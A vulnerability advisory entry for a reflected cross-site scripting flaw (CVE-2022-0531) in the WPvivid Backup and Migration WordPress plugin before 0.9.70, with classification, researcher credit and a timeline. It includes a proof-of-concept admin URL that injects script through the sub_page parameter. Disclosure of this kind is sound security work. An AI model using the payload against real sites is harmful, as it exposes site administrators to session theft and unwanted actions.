WordPress Plugin Vulnerabilities

WPvivid Backup and Migration Plugin < 0.9.70 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the sub_page parameter before outputting it back in the page, leading to a reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/admin.php?page=WPvivid&sub_page=%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E&main_tab=storage

Affects Plugins

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wpvivid-backuprestore
Fixed in 0.9.70

References

CVE
CVE-2022-0531

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.1 (medium)

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
https://kazet.cc/
Verified
Yes
WPVDB ID
ac5c2a5d-09b6-470b-a598-2972183413ca

Timeline

Publicly Published
2022-03-21 (about 2 years ago)
Added
2022-03-21 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)

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